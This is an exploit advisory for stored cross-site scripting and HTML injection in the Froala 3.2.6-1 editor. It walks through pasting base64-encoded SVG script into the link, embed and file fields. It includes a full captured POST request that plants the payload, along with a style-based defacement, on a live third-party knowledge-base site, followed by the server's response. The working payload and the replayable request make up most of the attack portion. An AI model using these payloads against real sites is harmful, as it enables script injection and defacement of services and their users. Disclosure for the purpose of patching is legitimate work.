Froala 3.2.6-1 Cross Site Scripting

`# Exploit Title: Stored XSS and Html Code Injection Editor Froala  
# Version 3.2.6-1  
# Date:06.03.2021  
# Author: Vincent666 ibn Winnie  
# Software Link: https://froala.com/wysiwyg-editor/  
# Tested on: Windows 10  
# Web Browser: Mozilla Firefox  
# My Youtube Channel: https://www.youtube.com/channel/UCZOWpC2dW9sipPq5z63C2rQ  
  
PoC:  
  
In the Froala I used xss code in base 64 and some tags for html code injection.  
  
  
Vuln Fields: Embed Url,Insert Link,Insert Files,Insert Video,etc.  
  
Example with Insert Files or Insert Image:  
  
Click browse files – choose file img from computer  
  
Insert on page , click on image and choose Insert Link and paste XSS code:  
  
And insert! We have stored xss + full html code Injection deface page.  
  
XSS Code:  
  
https://pastebin.com/jUUXQbzs  
  
Video with XSS and Html Code Injection:  
  
https://www.youtube.com/watch?v=QO2XiR8N1P0  
  
All fields with xss in base64 vulnerable to XSS. You can use method  
Get or Post.  
  
Encode your xss is here:  
  
https://www.base64encode.org/  
  
For Html Code Injection i use tags:  
  
Table,Div,span,style,body and another.  
  
Pictures:  
  
https://imgur.com/a/WIfQQw5  
https://imgur.com/a/P59ePrm  
https://imgur.com/a/Ksc5VWX  
  
Simple example on knowledgeowl.com: (They use Froala)  
  
Create new article and in editor choose and press "Code View":  
  
Paste xss code and again press "Code View" and save this.  
  
Example link : https://test345.knowledgeowl.com/help/asxdcfvgbvnm  
  
(Link works only 1 months)  
  
https://app.knowledgeowl.com/kb/article-edit-save  
  
Host: app.knowledgeowl.com  
  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0)  
Gecko/20100101 Firefox/86.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
  
Accept-Language: en-US;q=0.5,en;q=0.3  
  
Accept-Encoding: gzip, deflate, br  
  
Content-Type: multipart/form-data;  
boundary=---------------------------116499600342865829691384395973  
  
Content-Length: 4793  
  
Origin: https://app.knowledgeowl.com  
  
Connection: keep-alive  
  
Referer: https://app.knowledgeowl.com/kb/article/id/6043b120ec161c7539dea231/aid/60464e9e8e121c1923587f5f  
  
Cookie: (i delete this)  
  
Upgrade-Insecure-Requests: 1  
  
article-id=60464e9e8e121c1923587f5f&project_id=6043b120ec161c7539dea231&language=en&current_version=60464f2a8e121c172358807e&version=&category=&content_article=&linked_article=&dopen=1615238721&save-action=default&url_hash=asxdcfvgbvnm&title=asxdcfvgbvnm&toc_title=&internal_title=&art-redirect-url=&art-redirect-newtab=true&content=<p>""><embed  
src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxCjk0IiBoZWlnaHQ9IjIwMCIgaWQ9InhzcyI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2VjbWFzY3JpcHQiPmFsZXJ0KCJJIGVuY29kZWQgeHNzIGluIGJhc2UgNjQuIEFic29sdXRlbHkgYWxsIGVkaXRvcnMgdnVsbmFyYWJsZSB0byB4c3MgYW5kIGh0bWwvaWZyYW1lIGNvZGUgaW5qZWN0aW9uIGFuZCB0aGlzIGlzIG5vdCBhIGJpZyBwcm9ibGVtLCBiZWNhdXNlIHRoaXMgaXMgY2FuIGZpeGVkLiBGaXggb24gZWRpdG9yIHNpZGUgYW5kIHlvdXIgc29mdHdhcmUuIFdoYXQgZWRpdG9ycyB0aGUgYmVzdD8gVGlueU1DRSwgRnJvYWxhIGFuZCBDa2VkaXRvciEiKTs8L3NjcmlwdD48L3N2Zz4KCgo="></p><style>body{visibility:hidden;}html{background:  
url(https://i.pinimg.com/originals/07/02/00/0702007f97e1804a8ca00fb36033e9ec.jpg)  
round;}</style>&meta_page_title=&meta_description=&status=published&date_published=&author=6043b10eec161c8d39dea36f&visibility=public&callout=none&callout_expire=03/15/2021&version_type=&custom-version=&version_note=&related-id[]=&application_screens=&csrf-token=af5366a45b186b5407fb55a1285b0f6ece862e25a46ebcfc070ab1d146b8b990  
  
POST: HTTP/1.1 302 Found  
  
Date: Mon, 08 Mar 2021 16:25:33 GMT  
  
Server: Apache  
  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
  
Pragma: no-cache  
  
Set-Cookie: _authbysession=90d12858ba2ea25a0ad42782; expires=Mon,  
08-Mar-2021 18:25:33 GMT; Max-Age=7200; path=/;  
domain=app.knowledgeowl.com; secure; httponly  
  
Location: /kb/article/id/6043b120ec161c7539dea231/aid/60464e9e8e121c1923587f5f  
  
Vary: Accept-Encoding  
  
Content-Encoding: gzip  
  
Content-Length: 21  
  
Content-Type: text/html; charset=UTF-8  
  
The final results in a simple form:  
  
We can use different fields in Froal's editor using cross site  
scripting and html/iframe code injection in base 64.  
`